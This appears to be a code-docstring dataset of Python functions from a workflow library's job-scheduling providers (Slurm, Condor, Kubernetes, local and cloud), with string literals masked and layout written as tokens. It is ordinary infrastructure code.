"id": "f2782:c0:m16"}
{"signature": "@property<EOL><INDENT>def current_capacity(self):<DEDENT>", "body": "return len(self.instances)<EOL>", "docstring": "Returns the current blocksize.", "id": "f2782:c0:m19"}
{"signature": "def _status(self):", "body": "job_id_list = '<STR_LIT:U+002C>'.join(self.resources.keys())<EOL>cmd = \"<STR_LIT>\".format(job_id_list)<EOL>retcode, stdout, stderr = super().execute_wait(cmd)<EOL>if retcode != <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>jobs_missing = list(self.resources.keys())<EOL>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>parts = line.split()<EOL>if parts and parts[<NUM_LIT:0>] != '<STR_LIT>':<EOL><INDENT>job_id = parts[<NUM_LIT:0>]<EOL>status = translate_table.get(parts[<NUM_LIT:4>], '<STR_LIT>')<EOL>self.resources[job_id]['<STR_LIT:status>'] = status<EOL>jobs_missing.remove(job_id)<EOL><DEDENT><DEDENT>for missing_job in jobs_missing:<EOL><INDENT>if self.resources[missing_job]['<STR_LIT:status>'] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>self.resources[missing_job]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>", "docstring": "Internal: Do not call. Returns the status list for a list of job_ids\n\n        Args:\n              self\n\n        Returns:\n              [status...] : Status list of all jobs", "id": "f2785:c0:m1"}
{"signature": "def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "if self.provisioned_blocks >= self.max_blocks:<EOL><INDENT>logger.warn(\"<STR_LIT>\".format(self.label))<EOL>return None<EOL><DEDENT>job_name = \"<STR_LIT>\".format(job_name, time.time())<EOL>script_path = \"<STR_LIT>\".format(self.script_dir, job_name)<EOL>script_path = os.path.abspath(script_path)<EOL>logger.debug(\"<STR_LIT>\".format(self.nodes_per_block))<EOL>job_config = {}<EOL>job_config[\"<STR_LIT>\"] = self.channel.script_dir<EOL>job_config[\"<STR_LIT>\"] = self.nodes_per_block<EOL>job_config[\"<STR_LIT>\"] = tasks_per_node<EOL>job_config[\"<STR_LIT>\"] = wtime_to_minutes(self.walltime)<EOL>job_config[\"<STR_LIT>\"] = self.scheduler_options<EOL>job_config[\"<STR_LIT>\"] = self.worker_init<EOL>job_config[\"<STR_LIT>\"] = self.partition<EOL>job_config[\"<STR_LIT>\"] = command<EOL>job_config[\"<STR_LIT>\"] = self.launcher(command,<EOL>tasks_per_node,<EOL>self.nodes_per_block)<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._write_submit_script(template_string, script_path, job_name, job_config)<EOL>if self.move_files:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>channel_script_path = self.channel.push_file(script_path, self.channel.script_dir)<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>channel_script_path = script_path<EOL><DEDENT>retcode, stdout, stderr = super().execute_wait(\"<STR_LIT>\".format(channel_script_path))<EOL>job_id = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>job_id = line.split(\"<STR_LIT>\")[<NUM_LIT:1>].strip()<EOL>self.resources[job_id] = {'<STR_LIT>': job_id, '<STR_LIT:status>': '<STR_LIT>', '<STR_LIT>': blocksize}<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>logger.error(\"<STR_LIT>\", retcode, stdout.strip(), stderr.strip())<EOL><DEDENT>return job_id<EOL>", "docstring": "Submit the command as a slurm job of blocksize parallel elements.\n\n        Parameters\n        ----------\n        command : str\n            Command to be made on the remote side.\n        blocksize : int\n            Not implemented.\n        tasks_per_node : int\n            Command invocations to be launched per node\n        job_name : str\n            Name for the job (must be unique).\n        Returns\n        -------\n        None or str\n            If at capacity, returns None; otherwise, a string identifier for the job", "id": "f2785:c0:m2"}
{"signature": "def cancel(self, job_ids):", "body": "job_id_list = '<STR_LIT:U+0020>'.join(job_ids)<EOL>retcode, stdout, stderr = super().execute_wait(\"<STR_LIT>\".format(job_id_list))<EOL>rets = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for jid in job_ids:<EOL><INDENT>self.resources[jid]['<STR_LIT:status>'] = translate_table['<STR_LIT>']  <EOL><DEDENT>rets = [True for i in job_ids]<EOL><DEDENT>else:<EOL><INDENT>rets = [False for i in job_ids]<EOL><DEDENT>return rets<EOL>", "docstring": "Cancels the jobs specified by a list of job ids\n\n        Args:\n        job_ids : [<job_id> ...]\n\n        Returns :\n        [True/False...] : If the cancel operation fails the entire list will be False.", "id": "f2785:c0:m3"}
{"signature": "def get_configs(self, command, tasks_per_node):", "body": "logger.debug(\"<STR_LIT>\".format(<EOL>self.nodes_per_block, tasks_per_node))<EOL>job_config = {}<EOL>job_config[\"<STR_LIT>\"] = self.channel.script_dir<EOL>job_config[\"<STR_LIT>\"] = self.nodes_per_block<EOL>job_config[\"<STR_LIT>\"] = wtime_to_minutes(self.walltime)<EOL>job_config[\"<STR_LIT>\"] = self.scheduler_options<EOL>job_config[\"<STR_LIT>\"] = self.worker_init<EOL>job_config[\"<STR_LIT>\"] = command<EOL>job_config[\"<STR_LIT>\"] = self.launcher(command,<EOL>tasks_per_node,<EOL>self.nodes_per_block)<EOL>return job_config<EOL>", "docstring": "Compose a dictionary with information for writing the submit script.", "id": "f2787:c0:m1"}
{"signature": "def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "<EOL>if blocksize < self.nodes_per_block:<EOL><INDENT>blocksize = self.nodes_per_block<EOL><DEDENT>job_name = \"<STR_LIT>\".format(job_name, time.time())<EOL>script_path = \"<STR_LIT>\".format(self.script_dir, job_name)<EOL>script_path = os.path.abspath(script_path)<EOL>job_config = self.get_configs(command, tasks_per_node)<EOL>logger.debug(\"<STR_LIT>\")<EOL>self._write_submit_script(template_string, script_path, job_name, job_config)<EOL>channel_script_path = self.channel.push_file(script_path, self.channel.script_dir)<EOL>cmd = \"<STR_LIT>\".format(channel_script_path)<EOL>retcode, stdout, stderr = super().execute_wait(cmd, <NUM_LIT:10>)<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>job_id = line.strip()<EOL>if not job_id:<EOL><INDENT>continue<EOL><DEDENT>self.resources[job_id] = {'<STR_LIT>': job_id, '<STR_LIT:status>': '<STR_LIT>', '<STR_LIT>': blocksize}<EOL>return job_id<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>logger.error(\"<STR_LIT>\", retcode, stdout.strip(), stderr.strip())<EOL><DEDENT>", "docstring": "The submit method takes the command string to be executed upon\n        instantiation of a resource most often to start a pilot (such as IPP engine\n        or even Swift-T engines).\n\n        Args :\n             - command (str) : The bash command string to be executed.\n             - blocksize (int) : Blocksize to be requested\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        KWargs:\n             - job_name (str) : Human friendly name to be assigned to the job request\n\n        Returns:\n             - A job identifier, this could be an integer, string etc\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2787:c0:m2"}
{"signature": "def _status(self):", "body": "cmd = \"<STR_LIT>\"<EOL>retcode, stdout, stderr = super().execute_wait(cmd)<EOL>if retcode != <NUM_LIT:0>:<EOL><INDENT>return<EOL><DEDENT>jobs_missing = list(self.resources.keys())<EOL>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>parts = line.split()<EOL>if parts and parts[<NUM_LIT:0>].lower().lower() != '<STR_LIT>'and not parts[<NUM_LIT:0>].startswith('<STR_LIT>'):<EOL><INDENT>job_id = parts[<NUM_LIT:0>]<EOL>status = translate_table.get(parts[<NUM_LIT:4>].lower(), '<STR_LIT>')<EOL>if job_id in self.resources:<EOL><INDENT>self.resources[job_id]['<STR_LIT:status>'] = status<EOL>jobs_missing.remove(job_id)<EOL><DEDENT><DEDENT><DEDENT>for missing_job in jobs_missing:<EOL><INDENT>if self.resources[missing_job]['<STR_LIT:status>'] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>self.resources[missing_job]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT>", "docstring": "Get the status of a list of jobs identified by the job identifiers\n        returned from the submit request.\n\n        Returns:\n             - A list of status from ['PENDING', 'RUNNING', 'CANCELLED', 'COMPLETED',\n               'FAILED', 'TIMEOUT'] corresponding to each job_id in the job_ids list.\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2787:c0:m3"}
{"signature": "def cancel(self, job_ids):", "body": "job_id_list = '<STR_LIT:U+0020>'.join(job_ids)<EOL>cmd = \"<STR_LIT>\".format(job_id_list)<EOL>retcode, stdout, stderr = super().execute_wait(cmd, <NUM_LIT:3>)<EOL>rets = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for jid in job_ids:<EOL><INDENT>self.resources[jid]['<STR_LIT:status>'] = \"<STR_LIT>\"<EOL><DEDENT>rets = [True for i in job_ids]<EOL><DEDENT>else:<EOL><INDENT>rets = [False for i in job_ids]<EOL><DEDENT>return rets<EOL>", "docstring": "Cancels the resources identified by the job_ids provided by the user.\n\n        Args:\n             - job_ids (list): A list of job identifiers\n\n        Returns:\n             - A list of status from cancelling the job which can be True, False\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2787:c0:m4"}
{"signature": "def submit(self, cmd_string, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "if not self.resources:<EOL><INDENT>cur_timestamp = str(time.time() * <NUM_LIT:1000>).split(\"<STR_LIT:.>\")[<NUM_LIT:0>]<EOL>job_name = \"<STR_LIT>\".format(job_name, cur_timestamp)<EOL>if not self.deployment_name:<EOL><INDENT>deployment_name = '<STR_LIT>'.format(job_name)<EOL><DEDENT>else:<EOL><INDENT>deployment_name = '<STR_LIT>'.format(self.deployment_name,<EOL>cur_timestamp)<EOL><DEDENT>formatted_cmd = template_string.format(command=cmd_string,<EOL>worker_init=self.worker_init)<EOL>self.deployment_obj = self._create_deployment_object(job_name,<EOL>self.image,<EOL>deployment_name,<EOL>cmd_string=formatted_cmd,<EOL>replicas=self.init_blocks,<EOL>volumes=self.persistent_volumes)<EOL>logger.debug(\"<STR_LIT>\".format(deployment_name))<EOL>self._create_deployment(self.deployment_obj)<EOL>self.resources[deployment_name] = {'<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': self.init_blocks}<EOL><DEDENT>return deployment_name<EOL>", "docstring": "Submit a job\n        Args:\n             - cmd_string  :(String) - Name of the container to initiate\n             - blocksize   :(float) - Number of replicas\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        Kwargs:\n             - job_name (String): Name for job, must be unique\n        Returns:\n             - None: At capacity, cannot provision more\n             - job_id: (string) Identifier for the job", "id": "f2788:c0:m1"}
{"signature": "def status(self, job_ids):", "body": "self._status()<EOL>return ['<STR_LIT>' for jid in job_ids]<EOL>", "docstring": "Get the status of a list of jobs identified by the job identifiers\n        returned from the submit request.\n        Args:\n             - job_ids (list) : A list of job identifiers\n        Returns:\n             - A list of status from ['PENDING', 'RUNNING', 'CANCELLED', 'COMPLETED',\n               'FAILED', 'TIMEOUT'] corresponding to each job_id in the job_ids list.\n        Raises:\n             - ExecutionProviderExceptions or its subclasses", "id": "f2788:c0:m2"}
{"signature": "def cancel(self, job_ids):", "body": "for job in job_ids:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(job))<EOL>self._delete_deployment(job)<EOL>self.resources[job]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>rets = [True for i in job_ids]<EOL>return rets<EOL>", "docstring": "Cancels the jobs specified by a list of job ids\n        Args:\n        job_ids : [<job_id> ...]\n        Returns :\n        [True/False...] : If the cancel operation fails the entire list will be False.", "id": "f2788:c0:m3"}
{"signature": "def _status(self):", "body": "jobs_ids = list(self.resources.keys())<EOL>return jobs_ids<EOL>", "docstring": "Internal: Do not call. Returns the status list for a list of job_ids\n        Args:\n              self\n        Returns:\n              [status...] : Status list of all jobs", "id": "f2788:c0:m4"}
{"signature": "def _create_deployment_object(self, job_name, job_image,<EOL>deployment_name, port=<NUM_LIT>,<EOL>replicas=<NUM_LIT:1>,<EOL>cmd_string=None,<EOL>engine_json_file='<STR_LIT>',<EOL>engine_dir='<STR_LIT:.>',<EOL>volumes=[]):", "body": "<EOL>security_context = None<EOL>if self.user_id and self.group_id:<EOL><INDENT>security_context = client.V1SecurityContext(run_as_group=self.group_id,<EOL>run_as_user=self.user_id,<EOL>run_as_non_root=self.run_as_non_root)<EOL><DEDENT>environment_vars = client.V1EnvVar(name=\"<STR_LIT>\", value=\"<STR_LIT>\")<EOL>launch_args = [\"<STR_LIT:-c>\", \"<STR_LIT>\".format(cmd_string)]<EOL>volume_mounts = []<EOL>for volume in volumes:<EOL><INDENT>volume_mounts.append(client.V1VolumeMount(mount_path=volume[<NUM_LIT:1>],<EOL>name=volume[<NUM_LIT:0>]))<EOL><DEDENT>container = None<EOL>if security_context:<EOL><INDENT>container = client.V1Container(<EOL>name=job_name,<EOL>image=job_image,<EOL>ports=[client.V1ContainerPort(container_port=port)],<EOL>volume_mounts=volume_mounts,<EOL>command=['<STR_LIT>'],<EOL>args=launch_args,<EOL>env=[environment_vars],<EOL>security_context=security_context)<EOL><DEDENT>else:<EOL><INDENT>container = client.V1Container(<EOL>name=job_name,<EOL>image=job_image,<EOL>ports=[client.V1ContainerPort(container_port=port)],<EOL>volume_mounts=volume_mounts,<EOL>command=['<STR_LIT>'],<EOL>args=launch_args,<EOL>env=[environment_vars])<EOL><DEDENT>secret = None<EOL>if self.secret:<EOL><INDENT>secret = client.V1LocalObjectReference(name=self.secret)<EOL><DEDENT>volume_defs = []<EOL>for volume in volumes:<EOL><INDENT>volume_defs.append(client.V1Volume(name=volume[<NUM_LIT:0>],<EOL>persistent_volume_claim=client.V1PersistentVolumeClaimVolumeSource(<EOL>claim_name=volume[<NUM_LIT:0>])))<EOL><DEDENT>template = client.V1PodTemplateSpec(<EOL>metadata=client.V1ObjectMeta(labels={\"<STR_LIT>\": job_name}),<EOL>spec=client.V1PodSpec(containers=[container],<EOL>image_pull_secrets=[secret],<EOL>volumes=volume_defs<EOL>))<EOL>spec = client.ExtensionsV1beta1DeploymentSpec(replicas=replicas,<EOL>template=template)<EOL>deployment = client.ExtensionsV1beta1Deployment(<EOL>api_version=\"<STR_LIT>\",<EOL>kind=\"<STR_LIT>\",<EOL>metadata=client.V1ObjectMeta(name=deployment_name),<EOL>spec=spec)<EOL>return deployment<EOL>", "docstring": "Create a kubernetes deployment for the job.\n        Args:\n              - job_name (string) : Name of the job and deployment\n              - job_image (string) : Docker image to launch\n        KWargs:\n             - port (integer) : Container port\n             - replicas : Number of replica containers to maintain\n        Returns:\n              - True: The deployment object to launch", "id": "f2788:c0:m5"}
{"signature": "def _create_deployment(self, deployment):", "body": "api_response = self.kube_client.create_namespaced_deployment(<EOL>body=deployment,<EOL>namespace=self.namespace)<EOL>logger.debug(\"<STR_LIT>\".format(str(api_response.status)))<EOL>", "docstring": "Create the kubernetes deployment", "id": "f2788:c0:m6"}
{"signature": "def _delete_deployment(self, deployment_name):", "body": "api_response = self.kube_client.delete_namespaced_deployment(<EOL>name=deployment_name,<EOL>namespace=self.namespace,<EOL>body=client.V1DeleteOptions(<EOL>propagation_policy='<STR_LIT>',<EOL>grace_period_seconds=<NUM_LIT:5>))<EOL>logger.debug(\"<STR_LIT>\".format(<EOL>str(api_response.status)))<EOL>", "docstring": "Delete deployment", "id": "f2788:c0:m7"}
{"signature": "def _status(self):", "body": "job_id_list = '<STR_LIT:U+0020>'.join(self.resources.keys())<EOL>cmd = \"<STR_LIT>\".format(job_id_list)<EOL>retcode, stdout, stderr = super().execute_wait(cmd)<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>for line in stdout.strip().split('<STR_LIT:\\n>'):<EOL><INDENT>parts = line.split()<EOL>job_id = parts[<NUM_LIT:0>]<EOL>status = translate_table.get(parts[<NUM_LIT:1>], '<STR_LIT>')<EOL>self.resources[job_id]['<STR_LIT:status>'] = status<EOL><DEDENT>", "docstring": "Update the resource dictionary with job statuses.", "id": "f2790:c0:m1"}
{"signature": "def status(self, job_ids):", "body": "self._status()<EOL>return [self.resources[jid]['<STR_LIT:status>'] for jid in job_ids]<EOL>", "docstring": "Get the status of a list of jobs identified by their ids.\n\n        Parameters\n        ----------\n        job_ids : list of int\n            Identifiers of jobs for which the status will be returned.\n\n        Returns\n        -------\n        List of int\n            Status codes for the requested jobs.", "id": "f2790:c0:m2"}
{"signature": "def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "logger.debug(\"<STR_LIT>\".format(blocksize))<EOL>if self.provisioned_blocks >= self.max_blocks:<EOL><INDENT>template = \"<STR_LIT>\"<EOL>logger.warn(template.format(self.label, self.provisioned_blocks, self.max_blocks))<EOL>return None<EOL><DEDENT>blocksize = max(self.nodes_per_block, blocksize)<EOL>job_name = \"<STR_LIT>\".format(job_name, time.time())<EOL>script_path = \"<STR_LIT>\".format(self.script_dir, job_name)<EOL>script_path = os.path.abspath(script_path)<EOL>userscript_path = \"<STR_LIT>\".format(self.script_dir, job_name)<EOL>userscript_path = os.path.abspath(userscript_path)<EOL>self.environment[\"<STR_LIT>\"] = \"<STR_LIT>\".format(job_name)<EOL>job_config = {}<EOL>job_config[\"<STR_LIT>\"] = job_name<EOL>job_config[\"<STR_LIT>\"] = self.channel.script_dir<EOL>job_config[\"<STR_LIT>\"] = self.project<EOL>job_config[\"<STR_LIT>\"] = self.nodes_per_block<EOL>job_config[\"<STR_LIT>\"] = self.scheduler_options<EOL>job_config[\"<STR_LIT>\"] = self.worker_init<EOL>job_config[\"<STR_LIT>\"] = command<EOL>job_config[\"<STR_LIT>\"] = tasks_per_node<EOL>job_config[\"<STR_LIT>\"] = self.requirements<EOL>job_config[\"<STR_LIT>\"] = '<STR_LIT:U+0020>'.join(['<STR_LIT>'.format(key, value) for key, value in self.environment.items()])<EOL>wrapped_command = self.launcher(command,<EOL>tasks_per_node,<EOL>self.nodes_per_block)<EOL>with open(userscript_path, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(job_config[\"<STR_LIT>\"] + '<STR_LIT:\\n>' + wrapped_command)<EOL><DEDENT>user_script_path = self.channel.push_file(userscript_path, self.channel.script_dir)<EOL>the_input_files = [user_script_path] + self.transfer_input_files<EOL>job_config[\"<STR_LIT>\"] = '<STR_LIT:U+002C>'.join(the_input_files)<EOL>job_config[\"<STR_LIT>\"] = os.path.basename(user_script_path)<EOL>self._write_submit_script(template_string, script_path, job_name, job_config)<EOL>channel_script_path = self.channel.push_file(script_path, self.channel.script_dir)<EOL>cmd = \"<STR_LIT>\".format(channel_script_path)<EOL>retcode, stdout, stderr = super().execute_wait(cmd, <NUM_LIT:30>)<EOL>logger.debug(\"<STR_LIT>\", retcode, stdout.strip(), stderr.strip())<EOL>job_id = []<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>if re.match('<STR_LIT>', line) is not None:<EOL><INDENT>cluster = line.split(\"<STR_LIT:U+0020>\")[<NUM_LIT:5>]<EOL>processes = [str(x) for x in range(<NUM_LIT:0>, int(line[<NUM_LIT:0>]))]<EOL>job_id += [cluster + process for process in processes]<EOL><DEDENT><DEDENT>self._add_resource(job_id)<EOL><DEDENT>return job_id[<NUM_LIT:0>]<EOL>", "docstring": "Submits the command onto an Local Resource Manager job of blocksize parallel elements.\n\n        example file with the complex case of multiple submits per job:\n            Universe =vanilla\n            output = out.$(Cluster).$(Process)\n            error = err.$(Cluster).$(Process)\n            log = log.$(Cluster)\n            leave_in_queue = true\n            executable = test.sh\n            queue 5\n            executable = foo\n            queue 1\n\n        $ condor_submit test.sub\n        Submitting job(s)......\n        5 job(s) submitted to cluster 118907.\n        1 job(s) submitted to cluster 118908.\n\n        Parameters\n        ----------\n        command : str\n            Command to execute\n        blocksize : int\n            Number of blocks to request.\n        job_name : str\n            Job name prefix.\n        tasks_per_node : int\n            command invocations to be launched per node\n        Returns\n        -------\n        None or str\n            None if at capacity and cannot provision more; otherwise the identifier for the job.", "id": "f2790:c0:m3"}
{"signature": "def cancel(self, job_ids):", "body": "job_id_list = '<STR_LIT:U+0020>'.join(job_ids)<EOL>cmd = \"<STR_LIT>\".format(job_id_list)<EOL>logger.debug(\"<STR_LIT>\".format(cmd))<EOL>retcode, stdout, stderr = self.channel.execute_wait(cmd, <NUM_LIT:30>)<EOL>rets = None<EOL>if retcode == <NUM_LIT:0>:<EOL><INDENT>for jid in job_ids:<EOL><INDENT>self.resources[jid]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>rets = [True for i in job_ids]<EOL><DEDENT>else:<EOL><INDENT>rets = [False for i in job_ids]<EOL><DEDENT>return rets<EOL>", "docstring": "Cancels the jobs specified by a list of job IDs.\n\n        Parameters\n        ----------\n        job_ids : list of str\n            The job IDs to cancel.\n\n        Returns\n        -------\n        list of bool\n            Each entry in the list will be True if the job is cancelled succesfully, otherwise False.", "id": "f2790:c0:m4"}
{"signature": "def status(self, job_ids):", "body": "logger.debug(\"<STR_LIT>\".format(job_ids))<EOL>for job_id in self.resources:<EOL><INDENT>if self.resources[job_id]['<STR_LIT>']:<EOL><INDENT>poll_code = self.resources[job_id]['<STR_LIT>'].poll()<EOL>if self.resources[job_id]['<STR_LIT:status>'] in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>continue<EOL><DEDENT>if poll_code is None:<EOL><INDENT>self.resources[job_id]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>elif poll_code == <NUM_LIT:0>:<EOL><INDENT>self.resources[job_id]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>elif poll_code != <NUM_LIT:0>:<EOL><INDENT>self.resources[job_id]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif self.resources[job_id]['<STR_LIT>']:<EOL><INDENT>retcode, stdout, stderr = self.channel.execute_wait('<STR_LIT>',<EOL>self.cmd_timeout)<EOL>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>status = line.split(\"<STR_LIT>\")[<NUM_LIT:1>].strip()<EOL>if status == \"<STR_LIT:0>\":<EOL><INDENT>self.resources[job_id]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>self.resources[job_id]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return [self.resources[jid]['<STR_LIT:status>'] for jid in job_ids]<EOL>", "docstring": "Get the status of a list of jobs identified by their ids.\n\n        Args:\n            - job_ids (List of ids) : List of identifiers for the jobs\n\n        Returns:\n            - List of status codes.", "id": "f2792:c0:m1"}
{"signature": "def _write_submit_script(self, script_string, script_filename):", "body": "try:<EOL><INDENT>with open(script_filename, '<STR_LIT:w>') as f:<EOL><INDENT>f.write(script_string)<EOL><DEDENT><DEDENT>except KeyError as e:<EOL><INDENT>logger.error(\"<STR_LIT>\", e)<EOL>raise (SchedulerMissingArgs(e.args, self.label))<EOL><DEDENT>except IOError as e:<EOL><INDENT>logger.error(\"<STR_LIT>\", script_filename)<EOL>raise (ScriptPathError(script_filename, e))<EOL><DEDENT>return True<EOL>", "docstring": "Load the template string with config values and write the generated submit script to\na submit script file.\n\nArgs:\n      - template_string (string) : The template string to be used for the writing submit script\n      - script_filename (string) : Name of the submit script\n\nReturns:\n      - True: on success\n\nRaises:\n      SchedulerMissingArgs : If template is missing args\n      ScriptPathError : Unable to write submit script out", "id": "f2792:c0:m2"}
{"signature": "def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "job_name = \"<STR_LIT>\".format(job_name, time.time())<EOL>script_path = \"<STR_LIT>\".format(self.script_dir, job_name)<EOL>script_path = os.path.abspath(script_path)<EOL>wrap_command = self.worker_init + '<STR_LIT:\\n>' + self.launcher(command, tasks_per_node, self.nodes_per_block)<EOL>self._write_submit_script(wrap_command, script_path)<EOL>job_id = None<EOL>proc = None<EOL>remote_pid = None<EOL>if (self.move_files is None and not isinstance(self.channel, LocalChannel)) or (self.move_files):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>script_path = self.channel.push_file(script_path, self.channel.script_dir)<EOL><DEDENT>if not isinstance(self.channel, LocalChannel):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>cmd = '<STR_LIT>'.format(script_path)<EOL>retcode, stdout, stderr = self.channel.execute_wait(cmd, self.cmd_timeout)<EOL>for line in stdout.split('<STR_LIT:\\n>'):<EOL><INDENT>if line.startswith(\"<STR_LIT>\"):<EOL><INDENT>remote_pid = line.split(\"<STR_LIT>\")[<NUM_LIT:1>].strip()<EOL>job_id = remote_pid<EOL><DEDENT><DEDENT>if job_id is None:<EOL><INDENT>logger.warning(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>job_id, proc = self.channel.execute_no_wait('<STR_LIT>'.format(script_path), self.cmd_timeout)<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(self.channel, e))<EOL>raise<EOL><DEDENT><DEDENT>self.resources[job_id] = {'<STR_LIT>': job_id, '<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': blocksize,<EOL>'<STR_LIT>': remote_pid,<EOL>'<STR_LIT>': proc}<EOL>return job_id<EOL>", "docstring": "Submits the command onto an Local Resource Manager job of blocksize parallel elements.\n        Submit returns an ID that corresponds to the task that was just submitted.\n\n        If tasks_per_node <  1:\n             1/tasks_per_node is provisioned\n\n        If tasks_per_node == 1:\n             A single node is provisioned\n\n        If tasks_per_node >  1 :\n             tasks_per_node * blocksize number of nodes are provisioned.\n\n        Args:\n             - command  :(String) Commandline invocation to be made on the remote side.\n             - blocksize   :(float) - Not really used for local\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        Kwargs:\n             - job_name (String): Name for job, must be unique\n\n        Returns:\n             - None: At capacity, cannot provision more\n             - job_id: (string) Identifier for the job", "id": "f2792:c0:m3"}
{"signature": "def cancel(self, job_ids):", "body": "for job in job_ids:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(job))<EOL>if self.resources[job]['<STR_LIT>']:<EOL><INDENT>proc = self.resources[job]['<STR_LIT>']<EOL>os.killpg(os.getpgid(proc.pid), signal.SIGTERM)<EOL>self.resources[job]['<STR_LIT:status>'] = '<STR_LIT>'<EOL><DEDENT>elif self.resources[job]['<STR_LIT>']:<EOL><INDENT>cmd = \"<STR_LIT>\".format(self.resources[job]['<STR_LIT>'])<EOL>retcode, stdout, stderr = self.channel.execute_wait(cmd, self.cmd_timeout)<EOL>if retcode != <NUM_LIT:0>:<EOL><INDENT>logger.warning(\"<STR_LIT>\".format(self.resources[job]['<STR_LIT>'],<EOL>self.label))<EOL><DEDENT><DEDENT><DEDENT>rets = [True for i in job_ids]<EOL>return rets<EOL>", "docstring": "Cancels the jobs specified by a list of job ids\n\n        Args:\n        job_ids : [<job_id> ...]\n\n        Returns :\n        [True/False...] : If the cancel operation fails the entire list will be False.", "id": "f2792:c0:m4"}
{"signature": "def submit(self, command, blocksize, tasks_per_node, job_name=\"<STR_LIT>\"):", "body": "wrapped_cmd = self.launcher(command,<EOL>tasks_per_node,<EOL><NUM_LIT:1>)<EOL>instance, name = self.create_instance(command=wrapped_cmd)<EOL>self.provisioned_blocks += <NUM_LIT:1><EOL>self.resources[name] = {\"<STR_LIT>\": name, \"<STR_LIT:status>\": translate_table[instance['<STR_LIT:status>']]}<EOL>return name<EOL>", "docstring": "The submit method takes the command string to be executed upon\n        instantiation of a resource most often to start a pilot.\n\n        Args :\n             - command (str) : The bash command string to be executed.\n             - blocksize (int) : Blocksize to be requested\n             - tasks_per_node (int) : command invocations to be launched per node\n\n        KWargs:\n             - job_name (str) : Human friendly name to be assigned to the job request\n\n        Returns:\n             - A job identifier, this could be an integer, string etc\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2793:c0:m1"}
{"signature": "def status(self, job_ids):", "body": "statuses = []<EOL>for job_id in job_ids:<EOL><INDENT>instance = self.client.instances().get(instance=job_id, project=self.project_id, zone=self.zone).execute()<EOL>self.resources[job_id]['<STR_LIT:status>'] = translate_table[instance['<STR_LIT:status>']]<EOL>statuses.append(translate_table[instance['<STR_LIT:status>']])<EOL><DEDENT>return statuses<EOL>", "docstring": "Get the status of a list of jobs identified by the job identifiers\n        returned from the submit request.\n\n        Args:\n             - job_ids (list) : A list of job identifiers\n\n        Returns:\n             - A list of status from ['PENDING', 'RUNNING', 'CANCELLED', 'COMPLETED',\n               'FAILED', 'TIMEOUT'] corresponding to each job_id in the job_ids list.\n\n        Raises:\n             - ExecutionProviderException or its subclasses", "id": "f2793:c0:m2"}
